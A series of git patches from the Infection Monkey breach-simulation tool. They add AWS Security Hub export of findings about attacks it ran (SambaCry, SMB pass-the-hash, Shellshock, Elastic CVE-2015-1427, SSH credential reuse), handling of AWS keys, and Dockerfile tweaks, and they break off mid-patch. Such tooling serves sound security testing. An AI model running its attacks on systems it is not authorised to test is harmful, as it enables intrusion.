telemetry_json['data']['instance-id']}) @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index b9fdf89e7..7f4864e60 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -548,6 +548,10 @@ class ReportService: logger.info('Domain issues generated for reporting') return domain_issues_dict + @staticmethod + def get_machine_aws_instance_id(hostname): + return str(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1})) + @staticmethod def get_issues(): ISSUE_GENERATORS = [ @@ -564,8 +568,11 @@ class ReportService: for issue in issues: if issue.get('is_local', True): machine = issue.get('machine').upper() + aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get('machine')) if machine not in issues_dict: issues_dict[machine] = [] + if aws_instance_id: + issue['aws_instance_id'] = aws_instance_id issues_dict[machine].append(issue) logger.info('Issues generated for reporting') return issues_dict From 4cc85448d7d8c7769b9a4ae4b3dab14335b04ef2 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 26 Nov 2018 14:01:46 +0200 Subject: [PATCH 019/201] * add instance id to domain issues too --- monkey/monkey_island/cc/services/report.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 7f4864e60..a75fdb7dd 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -542,8 +542,11 @@ class ReportService: for issue in issues: if not issue.get('is_local', True): machine = issue.get('machine').upper() + aws_instance_id = ReportService.get_machine_aws_instance_id(issue.get('machine')) if machine not in domain_issues_dict: domain_issues_dict[machine] = [] + if aws_instance_id: + issue['aws_instance_id'] = aws_instance_id domain_issues_dict[machine].append(issue) logger.info('Domain issues generated for reporting') return domain_issues_dict From 984a64561e305e3c27aea9d5a801371f500647ea Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 26 Nov 2018 15:04:25 +0200 Subject: [PATCH 020/201] * a small fixup --- monkey/monkey_island/cc/resources/telemetry.py | 2 +- monkey/monkey_island/cc/services/config.py | 6 +++--- monkey/monkey_island/cc/services/report.py | 4 ++-- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 6fc8f06f8..ab911a119 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -192,7 +192,7 @@ class Telemetry(flask_restful.Resource): wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) wmi_handler.process_and_handle_wmi_info() if 'aws' in telemetry_json['data']: - mongo.db.monkey.insert({'aws_instance_id': telemetry_json['data']['instance-id']}) + mongo.db.monkey.update_one({'_id': monkey_id}, {'aws_instance_id': telemetry_json['data']['instance-id']}) @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index b5ef28f65..52bafa36f 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -645,10 +645,10 @@ SCHEMA = { 'type': 'object', 'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.', 'properties': { - 'iam_role_id': { - 'title': 'IAM role ID', + 'aws_account_id': { + 'title': 'AWS account ID', 'type': 'string', - 'description': '' + 'description': 'Your AWS account ID that is subscribed to security hub feeds' }, 'aws_access_key_id': { 'title': 'AWS access key ID', diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index a75fdb7dd..a002235a0 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -553,7 +553,7 @@ class ReportService: @staticmethod def get_machine_aws_instance_id(hostname): - return str(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1})) + return str(list(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1}))[0]['aws_instance_id']) @staticmethod def get_issues(): @@ -754,7 +754,7 @@ class ReportService: def get_active_exporters(): # This function should be in another module in charge of building a list of active exporters exporters_list = [] - if load_env_from_file() == AWS: + if str(load_env_from_file()) == 'standard': exporters_list.append(AWSExporter) return exporters_list From 1edba2d13b8de836e1f97100b65e4596933692c2 Mon Sep 17 00:00:00 2001 From: Paul-Emmanuel Raoul Date: Mon, 26 Nov 2018 20:50:47 +0000 Subject: [PATCH 021/201] Specify the release installed by Dockerfile using an argument --- docker/Dockerfile | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/docker/Dockerfile b/docker/Dockerfile index 6cd945d70..88f6c6888 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -2,17 +2,19 @@ FROM debian:jessie-slim LABEL MAINTAINER="theonlydoo " +ARG RELEASE=1.6 + WORKDIR /app -ADD https://github.com/guardicore/monkey/releases/download/1.5.2/infection_monkey_1.5.2_deb.tgz . +ADD https://github.com/guardicore/monkey/releases/download/${RELEASE}/infection_monkey_deb.${RELEASE}.tgz . -RUN tar xvf infection_monkey_1.5.2_deb.tgz \ - && apt-get -yqq update \ - && apt-get -yqq upgrade \ - && apt-get -yqq install python-pip \ - libssl-dev \ - supervisor \ - && dpkg -i *.deb +RUN tar xvf infection_monkey_deb.${RELEASE}.tgz \ + && apt-get -yqq update \ + && apt-get -yqq upgrade \ + && apt-get -yqq install python-pip \ + libssl-dev \ + supervisor \ + && dpkg -i *.deb COPY stack.conf /etc/supervisor/conf.d/stack.conf From 8ac1f35142a01ba079edfdf71aa4714154d5fdad Mon Sep 17 00:00:00 2001 From: Paul-Emmanuel Raoul Date: Mon, 26 Nov 2018 20:52:35 +0000 Subject: [PATCH 022/201] Fix installation issue in Dockerfile --- docker/Dockerfile | 1 + 1 file changed, 1 insertion(+) diff --git a/docker/Dockerfile b/docker/Dockerfile index 88f6c6888..88a120f0e 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -12,6 +12,7 @@ RUN tar xvf infection_monkey_deb.${RELEASE}.tgz \ && apt-get -yqq update \ && apt-get -yqq upgrade \ && apt-get -yqq install python-pip \ + python-dev \ libssl-dev \ supervisor \ && dpkg -i *.deb From f1dd30d18c94fe473ee0ae56060e6fb49a1228cf Mon Sep 17 00:00:00 2001 From: Paul-Emmanuel Raoul Date: Mon, 26 Nov 2018 21:03:45 +0000 Subject: [PATCH 023/201] Add EXPOSE instruction to Dockerfile --- docker/Dockerfile | 2 ++ 1 file changed, 2 insertions(+) diff --git a/docker/Dockerfile b/docker/Dockerfile index 88a120f0e..911afb433 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -4,6 +4,8 @@ LABEL MAINTAINER="theonlydoo " ARG RELEASE=1.6 +EXPOSE 5000 + WORKDIR /app ADD https://github.com/guardicore/monkey/releases/download/${RELEASE}/infection_monkey_deb.${RELEASE}.tgz . From 8eca2ca1e91e60ab2c955342848862e82717b11a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 10:28:41 +0200 Subject: [PATCH 024/201] * Exceptions handling for sending findings --- monkey/monkey_island/cc/resources/aws_exporter.py | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 3f138e688..c2082629c 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -77,11 +77,15 @@ class AWSExporter(Exporter): securityhub = boto3.client('securityhub', aws_access_key_id=creds_dict.get('aws_access_key_id', ''), aws_secret_access_key=creds_dict.get('aws_secret_access_key', '')) - import_response = securityhub.batch_import_findings(Findings=findings_list) - print import_response - if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: - return True - else: + try: + import_response = securityhub.batch_import_findings(Findings=findings_list) + print import_response + if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: + return True + else: + return False + except Exception as e: + logger.error('AWS security hub findings failed to send.') return False @staticmethod From c47572cd532bcd55cc5b4b111c5a13882f174b18 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 11:08:43 +0200 Subject: [PATCH 025/201] * Added another configuration endpoint for the island specific fields --- monkey/monkey_island/cc/app.py | 2 ++ .../cc/resources/island_configuration.py | 24 +++++++++++++++++++ monkey/monkey_island/cc/services/config.py | 19 ++++++++------- .../ui/src/components/pages/ConfigurePage.js | 2 +- 4 files changed, 37 insertions(+), 10 deletions(-) create mode 100644 monkey/monkey_island/cc/resources/island_configuration.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index a9682cc90..5bb94b611 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -18,6 +18,7 @@ from cc.resources.log import Log from cc.resources.island_logs import IslandLog from cc.resources.monkey import Monkey from cc.resources.monkey_configuration import MonkeyConfiguration +from cc.resources.island_configuration import IslandConfiguration from cc.resources.monkey_download import MonkeyDownload from cc.resources.netmap import NetMap from cc.resources.node import Node @@ -104,6 +105,7 @@ def init_app(mongo_url): api.add_resource(ClientRun, '/api/client-monkey', '/api/client-monkey/') api.add_resource(Telemetry, '/api/telemetry', '/api/telemetry/', '/api/telemetry/') api.add_resource(MonkeyConfiguration, '/api/configuration', '/api/configuration/') + api.add_resource(IslandConfiguration, '/api/configuration/island', '/api/configuration/island/') api.add_resource(MonkeyDownload, '/api/monkey/download', '/api/monkey/download/', '/api/monkey/download/') api.add_resource(NetMap, '/api/netmap', '/api/netmap/') diff --git a/monkey/monkey_island/cc/resources/island_configuration.py b/monkey/monkey_island/cc/resources/island_configuration.py new file mode 100644 index 000000000..57fda34fe --- /dev/null +++ b/monkey/monkey_island/cc/resources/island_configuration.py @@ -0,0 +1,24 @@ +import json + +import flask_restful +from flask import request, jsonify, abort + +from cc.auth import jwt_required +from cc.services.config import ConfigService + + +class IslandConfiguration(flask_restful.Resource): + @jwt_required() + def get(self): + return jsonify(schema=ConfigService.get_config_schema(), + configuration=ConfigService.get_config(False, True, True)) + + @jwt_required() + def post(self): + config_json = json.loads(request.data) + if 'reset' in config_json: + ConfigService.reset_config() + else: + if not ConfigService.update_config(config_json, should_encrypt=True): + abort(400) + return self.get() diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 1fb26cb1c..2058a61dd 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -648,17 +648,20 @@ SCHEMA = { 'aws_account_id': { 'title': 'AWS account ID', 'type': 'string', - 'description': 'Your AWS account ID that is subscribed to security hub feeds' + 'description': 'Your AWS account ID that is subscribed to security hub feeds', + 'default': " " }, 'aws_access_key_id': { 'title': 'AWS access key ID', 'type': 'string', - 'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.' + 'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.', + 'default': " " }, 'aws_secret_access_key': { 'title': 'AWS secret access key', 'type': 'string', - 'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.' + 'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.', + 'default': " " } } } @@ -897,16 +900,14 @@ ENCRYPTED_CONFIG_ARRAYS = \ ['basic', 'credentials', 'exploit_password_list'], ['internal', 'exploits', 'exploit_lm_hash_list'], ['internal', 'exploits', 'exploit_ntlm_hash_list'], - ['internal', 'exploits', 'exploit_ssh_keys'], - # ['cnc', 'aws_config', 'iam_role_id'], - # ['cnc', 'aws_config', 'aws_access_key_id'], - # ['cnc', 'aws_config', 'aws_secret_access_key'], + ['internal', 'exploits', 'exploit_ssh_keys'] ] # This should be used for config values of string type ENCRYPTED_CONFIG_STRINGS = \ [ - + ['cnc', 'aws_config', 'aws_access_key_id'], + ['cnc', 'aws_config', 'aws_secret_access_key'] ] @@ -931,7 +932,7 @@ class ConfigService: if should_decrypt and len(config) > 0: ConfigService.decrypt_config(config) if not is_island: - config['cnc'].pop('aws_config', None) + config.get('cnc', {}).pop('aws_config', None) return config @staticmethod diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index a97447df0..6cc7e009a 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -24,7 +24,7 @@ class ConfigurePageComponent extends AuthComponent { } componentDidMount() { - this.authFetch('/api/configuration') + this.authFetch('/api/configuration/island') .then(res => res.json()) .then(res => { let sections = []; From 195a3c830447f5b95b83ff110c3fa9c69eda872d Mon Sep 17 00:00:00 2001 From: Paul-Emmanuel Raoul Date: Tue, 27 Nov 2018 11:15:48 +0000 Subject: [PATCH 026/201] Add 'DEBIAN_FRONTEND' as 'ARG' Using 'ARG' instead of 'ENV' allows to define environment variables only for the build stage. See https://github.com/moby/moby/issues/4032#issuecomment-34597177. --- docker/Dockerfile | 1 + 1 file changed, 1 insertion(+) diff --git a/docker/Dockerfile b/docker/Dockerfile index 911afb433..ca8be5c9a 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -3,6 +3,7 @@ FROM debian:jessie-slim LABEL MAINTAINER="theonlydoo " ARG RELEASE=1.6 +ARG DEBIAN_FRONTEND=noninteractive EXPOSE 5000 From c1c8c33c85b29ed06fdbf6d3994fe91cba1e89c7 Mon Sep 17 00:00:00 2001 From: Paul-Emmanuel Raoul Date: Tue, 27 Nov 2018 11:19:26 +0000 Subject: [PATCH 027/201] Delete installation files --- docker/Dockerfile | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docker/Dockerfile b/docker/Dockerfile index ca8be5c9a..56085b40e 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -18,7 +18,8 @@ RUN tar xvf infection_monkey_deb.${RELEASE}.tgz \ python-dev \ libssl-dev \ supervisor \ - && dpkg -i *.deb + && dpkg -i *.deb \ + && rm -f *.deb *.tgz COPY stack.conf /etc/supervisor/conf.d/stack.conf From 673605b72181b7cc2611cd72dd30012a394fcb18 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 27 Nov 2018 14:13:50 +0200 Subject: [PATCH 028/201] * Added aws region getter * Moved productARN to server_config.json file --- monkey/monkey_island/cc/environment/aws.py | 4 ++++ monkey/monkey_island/cc/environment/environment.py | 9 ++++++--- monkey/monkey_island/cc/resources/aws_exporter.py | 7 +++++-- monkey/monkey_island/cc/server_config.json | 5 ++++- 4 files changed, 19 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py index b85a7d2e4..2a57f1cb7 100644 --- a/monkey/monkey_island/cc/environment/aws.py +++ b/monkey/monkey_island/cc/environment/aws.py @@ -15,6 +15,10 @@ class AwsEnvironment(Environment): def _get_instance_id(): return urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read() + @staticmethod + def _get_region(): + return urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()[:-1] + def is_auth_enabled(self): return True diff --git a/monkey/monkey_island/cc/environment/environment.py b/monkey/monkey_island/cc/environment/environment.py index 70fc025c3..c15e70257 100644 --- a/monkey/monkey_island/cc/environment/environment.py +++ b/monkey/monkey_island/cc/environment/environment.py @@ -14,13 +14,16 @@ ENV_DICT = { } -def load_env_from_file(): +def load_server_configuration_from_file(): with open('monkey_island/cc/server_config.json', 'r') as f: config_content = f.read() - config_json = json.loads(config_content) - return config_json['server_config'] + return json.loads(config_content) +def load_env_from_file(): + config_json = load_server_configuration_from_file() + return config_json['server_config'] + try: __env_type = load_env_from_file() env = ENV_DICT[__env_type]() diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index c2082629c..480743026 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -5,6 +5,7 @@ import boto3 from cc.resources.exporter import Exporter from cc.services.config import ConfigService +from cc.environment.environment import load_server_configuration_from_file logger = logging.getLogger(__name__) @@ -57,10 +58,12 @@ class AWSExporter(Exporter): 'shared_passwords': AWSExporter._handle_shared_passwords_issue, } + product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '') + finding = { "SchemaVersion": "2018-10-08", "Id": uuid.uuid4().hex, - "ProductArn": "arn:aws:securityhub:us-west-2:324264561773:product/aws/guardduty", + "ProductArn": product_arn, "GeneratorId": issue['type'], "AwsAccountId": "324264561773", "Types": [ @@ -308,4 +311,4 @@ class AWSExporter(Exporter): "Text": "The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(issue['machine'], issue['ip_address'], issue['username']) } } - return finding + return finding \ No newline at end of file diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json index 2d1a5995b..4d8644cbb 100644 --- a/monkey/monkey_island/cc/server_config.json +++ b/monkey/monkey_island/cc/server_config.json @@ -1,3 +1,6 @@ { - "server_config": "standard" + "server_config": "standard", + "aws": { + "sec_hub_product_arn": "arn:aws:securityhub:us-west-2:324264561773:product/aws/guardduty" + } } \ No newline at end of file From c888ab7bc998c740953b65165435621f1753c9b4 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 19 Nov 2018 15:40:16 +0200 Subject: [PATCH 029/201] adding the exporter father class and aws implement --- monkey/monkey_island/cc/resources/aws_exporter.py | 9 +++++++++ monkey/monkey_island/cc/resources/exporter.py | 9 +++++++++ 2 files changed, 18 insertions(+) create mode 100644 monkey/monkey_island/cc/resources/aws_exporter.py create mode 100644 monkey/monkey_island/cc/resources/exporter.py diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py new file mode 100644 index 000000000..cca47d968 --- /dev/null +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -0,0 +1,9 @@ +from exporter import Exporter + +class AWSExporter(Exporter): + + def __init__(self): + Exporter.__init__(self) + + def handle_report(self, report_json): + pass \ No newline at end of file diff --git a/monkey/monkey_island/cc/resources/exporter.py b/monkey/monkey_island/cc/resources/exporter.py new file mode 100644 index 000000000..98f3e7662 --- /dev/null +++ b/monkey/monkey_island/cc/resources/exporter.py @@ -0,0 +1,9 @@ + + +class Exporter: + + def __init__(self): + pass + + def handle_report(self, report_json): + raise NotImplementedError From 148ee3f0f0afc0ec42aceebf41582ad64d1edb7a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 25 Nov 2018 12:39:47 +0200 Subject: [PATCH 030/201] * Added env' config * Added exporters and aws exporter * changed report generation to be automatic on monkey death with support of on-demand report generation and mongo storage --- .../cc/environment/environment.py | 2 + .../cc/resources/aws_exporter.py | 294 +++++++++++++++++- monkey/monkey_island/cc/resources/exporter.py | 4 +- monkey/monkey_island/cc/resources/root.py | 2 + monkey/monkey_island/cc/services/node.py | 4 + monkey/monkey_island/cc/services/report.py | 62 +++- monkey/monkey_island/requirements.txt | 1 + 7 files changed, 345 insertions(+), 24 deletions(-) diff --git a/monkey/monkey_island/cc/environment/environment.py b/monkey/monkey_island/cc/environment/environment.py index 9e89208ef..70fc025c3 100644 --- a/monkey/monkey_island/cc/environment/environment.py +++ b/monkey/monkey_island/cc/environment/environment.py @@ -5,6 +5,8 @@ import aws logger = logging.getLogger(__name__) +AWS = 'aws' +STANDARD = 'standard' ENV_DICT = { 'standard': standard.StandardEnvironment, diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index cca47d968..363114948 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -1,9 +1,293 @@ -from exporter import Exporter +import logging +import uuid +from datetime import datetime +import boto3 + +from cc.resources.exporter import Exporter + +logger = logging.getLogger(__name__) + class AWSExporter(Exporter): - def __init__(self): - Exporter.__init__(self) + @staticmethod + def handle_report(report_json): - def handle_report(self, report_json): - pass \ No newline at end of file + findings_list = [] + issues_list = report_json['recommendations']['issues'] + for machine in issues_list: + for issue in issues_list[machine]: + findings_list.append(AWSExporter._prepare_finding(issue)) + + if not AWSExporter._send_findings(findings_list): + logger.error('Exporting findings to aws failed') + return False + + return True + + @staticmethod + def merge_two_dicts(x, y): + z = x.copy() # start with x's keys and values + z.update(y) # modifies z with y's keys and values & returns None + return z + + @staticmethod + def _prepare_finding(issue): + findings_dict = { + 'island_cross_segment': AWSExporter._handle_island_cross_segment_issue, + 'ssh': AWSExporter._handle_ssh_issue, + 'shellshock': AWSExporter._handle_shellshock_issue, + 'tunnel': AWSExporter._handle_tunnel_issue, + 'elastic': AWSExporter._handle_elastic_issue, + 'smb_password': AWSExporter._handle_smb_password_issue, + 'smb_pth': AWSExporter._handle_smb_pth_issue, + 'sambacry': AWSExporter._handle_sambacry_issue, + 'shared_passwords': AWSExporter._handle_shared_passwords_issue, + } + + finding = { + "SchemaVersion": "2018-10-08", + "Id": uuid.uuid4().hex, + "ProductArn": "arn:aws:securityhub:us-west-2:324264561773:product/aws/guardduty", + "GeneratorId": issue['type'], + "AwsAccountId": "324264561773", + "Types": [ + "Software and Configuration Checks/Vulnerabilities/CVE" + ], + "CreatedAt": datetime.now().isoformat() + 'Z', + "UpdatedAt": datetime.now().isoformat() + 'Z', + } + return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue)) + + @staticmethod + def _send_findings(findings_list): + + securityhub = boto3.client('securityhub') + import_response = securityhub.batch_import_findings(Findings=findings_list) + print import_response + if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: + return True + else: + return False + + @staticmethod + def _handle_tunnel_issue(issue): + finding =\ + { + "Severity": { + "Product": 5, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['dest'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Weak segmentation - Machines were able to communicate over unused ports." + finding["Description"] = "Use micro-segmentation policies to disable communication other than the required." + finding["Remediation"] = { + "Recommendation": { + "Text": "Machines are not locked down at port level. Network tunnel was set up from {0} to {1}" + .format(issue['machine'], issue['dest']) + } + } + return finding + + @staticmethod + def _handle_sambacry_issue(issue): + finding = \ + { + "Severity": { + "Product": 10, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": str(issue['ip_address']) + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Samba servers are vulnerable to 'SambaCry'" + finding["Description"] = "Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up."\ + .format(issue['username']) + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format(issue['machine'], issue['ip_address'], issue['username']) + } + } + return finding + + @staticmethod + def _handle_smb_pth_issue(issue): + finding = \ + { + "Severity": { + "Product": 5, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['ip_address'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Machines are accessible using passwords supplied by the user during the Monkey's configuration." + finding["Description"] = "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(issue['username']) + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format(issue['machine'], issue['ip_address'], issue['username']) + } + } + return finding + + @staticmethod + def _handle_ssh_issue(issue): + finding = \ + { + "Severity": { + "Product": 1, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['ip_address'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration." + finding["Description"] = "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(issue['username']) + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format(issue['machine'], issue['ip_address'], issue['username']) + } + } + return finding + + @staticmethod + def _handle_elastic_issue(issue): + finding = \ + { + "Severity": { + "Product": 10, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['ip_address'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Elasticsearch servers are vulnerable to CVE-2015-1427" + finding["Description"] = "Update your Elastic Search server to version 1.4.3 and up." + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format(issue['machine'], issue['ip_address']) + } + } + return finding + + @staticmethod + def _handle_island_cross_segment_issue(issue): + finding = \ + { + "Severity": { + "Product": 1, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['networks'][0][:-2] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Weak segmentation - Machines from different segments are able to communicate." + finding["Description"] = "egment your network and make sure there is no communication between machines from different segments." + finding["Remediation"] = { + "Recommendation": { + "Text": "The network can probably be segmented. A monkey instance on \ + {0} in the networks {1} \ + could directly access the Monkey Island server in the networks {2}.".format(issue['machine'], + issue['networks'], + issue['server_networks']) + } + } + return finding + + @staticmethod + def _handle_shared_passwords_issue(issue): + finding = \ + { + "Severity": { + "Product": 1, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": '10.0.0.1' + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Multiple users have the same password" + finding["Description"] = "Some users are sharing passwords, this should be fixed by changing passwords." + finding["Remediation"] = { + "Recommendation": { + "Text": "These users are sharing access password: {0}.".format(issue['shared_with']) + } + } + return finding + + @staticmethod + def _handle_shellshock_issue(issue): + finding = \ + { + "Severity": { + "Product": 10, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['ip_address'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Machines are vulnerable to 'Shellshock'" + finding["Description"] = "Update your Bash to a ShellShock-patched version." + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a ShellShock attack. The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format(issue['machine'], issue['ip_address'], issue['port'], issue['paths']) + } + } + return finding + + @staticmethod + def _handle_smb_password_issue(issue): + finding = \ + { + "Severity": { + "Product": 1, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['ip_address'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Machines are accessible using passwords supplied by the user during the Monkey's configuration." + finding["Description"] = "Change {0}'s password to a complex one-use password that is not shared with other computers on the network." + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(issue['machine'], issue['ip_address'], issue['username']) + } + } + return finding diff --git a/monkey/monkey_island/cc/resources/exporter.py b/monkey/monkey_island/cc/resources/exporter.py index 98f3e7662..1cf0c1b10 100644 --- a/monkey/monkey_island/cc/resources/exporter.py +++ b/monkey/monkey_island/cc/resources/exporter.py @@ -1,9 +1,9 @@ - class Exporter: def __init__(self): pass - def handle_report(self, report_json): + @staticmethod + def handle_report(report_json): raise NotImplementedError diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 1d9141589..10e8f5170 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -65,5 +65,7 @@ class Root(flask_restful.Resource): if not infection_done: report_done = False else: + if is_any_exists: + ReportService.get_report() report_done = ReportService.is_report_generated() return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done) diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 072917974..1f9b68ebe 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -294,6 +294,10 @@ class NodeService: def is_monkey_finished_running(): return NodeService.is_any_monkey_exists() and not NodeService.is_any_monkey_alive() + @staticmethod + def get_latest_modified_monkey(): + return mongo.db.monkey.find({}).sort('modifytime', -1).limit(1) + @staticmethod def add_credentials_to_monkey(monkey_id, creds): mongo.db.monkey.update( diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 38bf6fe79..1320facfe 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -8,6 +8,8 @@ from enum import Enum from six import text_type from cc.database import mongo +from cc.environment.environment import load_env_from_file, AWS +from cc.resources.aws_exporter import AWSExporter from cc.services.config import ConfigService from cc.services.edge import EdgeService from cc.services.node import NodeService @@ -123,9 +125,9 @@ class ReportService: 'label': node['label'], 'ip_addresses': node['ip_addresses'], 'accessible_from_nodes': - (x['hostname'] for x in + list((x['hostname'] for x in (NodeService.get_displayed_node_by_id(edge['from'], True) - for edge in EdgeService.get_displayed_edges_by_to(node['id'], True))), + for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))), 'services': node['services'] }) @@ -659,26 +661,19 @@ class ReportService: @staticmethod def is_report_generated(): - generated_report = mongo.db.report.find_one({'name': 'generated_report'}) + generated_report = mongo.db.report.find_one({}) if generated_report is None: return False - return 